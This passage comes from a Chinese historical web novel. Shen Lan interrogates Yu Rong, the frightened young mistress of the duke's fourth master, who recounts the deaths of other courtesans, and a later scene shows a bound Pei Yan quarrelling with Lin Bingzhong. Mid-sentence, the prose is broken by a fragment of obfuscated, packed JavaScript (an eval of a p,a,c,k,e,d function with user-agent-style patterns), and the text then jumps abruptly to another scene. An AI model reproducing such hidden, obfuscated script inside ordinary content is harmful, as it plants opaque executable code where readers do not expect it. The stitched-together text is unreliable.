玉容唔唔挣扎起来，似要说话。 沈澜：“你不要喊叫，若答应便眨两下眼睛。”见她连眨两下眼，沈澜这才解下她口中棉布。 谁知一解下，玉容即刻斥骂道：“不要你假好心！若不是你掳了我，我怎会衣衫不整地被几个男人瞧了去！” 沈澜看着她，一阵阵难过：“你知道跟你颠鸾倒凤的男人是魏国公府的四老爷吗？” 玉容恨恨道：“是又如何！” “那你便是知道了。”沈澜看着这小姑娘，缓缓道：“你可知道上一个跟四老爷在一起的外室，人如何了？” “你、你莫要吓唬我。”玉容年岁尚幼，闻言心中害怕，便有几分瑟缩。 沈澜平静道：“上一个外室，是贱籍，被四老爷的妻子四太太捉奸在床，押回了国公府。” 玉容打了个寒颤，忍不住问：“然后呢？” 沈澜继续不疾不徐道：“那是冬季，京都鹅毛大雪，白茫茫一片。四太太允诺，只要她能熬过十棍，便放了她。” “她欣喜地答应了。可受刑杖是军中足有手臂粗的榉木杖，还要袒衣露股，受众多丫鬟婢女围观。十棍过后，她人还活着，能喘气，当夜发了高烧，没药没大夫，死了。” 她听念春说起来的时候，对方尸身已凉透了。 “方才，若不是我将你掳走，来寻你的就不是我，而是四太太了。” 玉容情不自禁的，上下牙齿咯咯磕碰起来，沈澜的话如同一捧凉水浇在心头，冻得她浑身发抖。 沈澜怜悯地看着这个小姑娘。她之所以要插手此事，不仅是为了完成工作，更多的是想救这个外室一命。 “姐姐！姐姐！你救救我！”玉容大哭起来，“我不是要跟四老爷的。我不是！我不是！” 她太恐惧，太害怕，一股脑的都倒了出来：“春芳姐姐得花柳死了，燕子怀孕被鸨母灌了碗堕胎药，孩子没下来人先没了，月娘拼命接客攒了银子要赎身，鸨母趁她不在翻箱倒柜拿走了所有银子，月娘上吊死了！寒霜遇到有癖好的客人，被打得浑身是血，当晚发高烧死了。我、我怕死在鸨母手里才求了四老爷的！我、我不跟四老爷了！你救救我啊！救救我！” 她哭得撕心裂肺，涕泗横流，鬓发散乱地搭在脸颊上，如同一个疯婆子。 玉容为了活下去被迫跟了四老爷很可怜，四太太丈夫出轨很可怜，被她弄死的女子罪不至死很可怜。 人人都很可怜。 沈澜心里发涩，只摩挲着她的脊背，“你先别哭，听我说。” 玉容泪眼朦胧地抽噎着，“我、我听，姐姐你救我！救救我！” 沈澜安抚了她几句不要急，这才说道：“明日会有一人来审你，此人生的俊，你一眼便能认出来。他是我……主子。你不必遮掩你的经历，只需如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林秉忠进来道：“四老爷，我林秉忠一人做事一人当，今儿把你绑起来这事儿是我主意，你若要报复，尽管来找我。”语毕，他解开裴延口中棉布。 裴延破口大骂：“你这狗杀才！奸夫淫.妇！我看你和沁芳是背着守恂通奸来着！只可惜那沁芳早就被我碰过了，如今还与你勾三搭四，真是个水性杨花……” 林秉忠大怒，斥道：“你胡说八道什么！” 裴延冷笑两声：“我胡说八道？你不如去问问那淫.妇，她可是在小花园里求着我说要到我身边来，还主动说要去假山石里与我燕好呢！” 林秉忠却突然冷静下来：“那她为何不引诱爷却诱你？” 裴延被问得一怔，愤然变色，只大发雷霆，咒天咒地，叫嚷着“小娼妇”、“奸夫”、“叫守恂将你二人沉塘”。 林秉忠怒气丛生，却反倒想明白了，四老爷素来贪花好色，必是看上了沁芳却不得，在这里诋毁她！ 林秉忠冷冷望他一眼，将棉布塞了回去。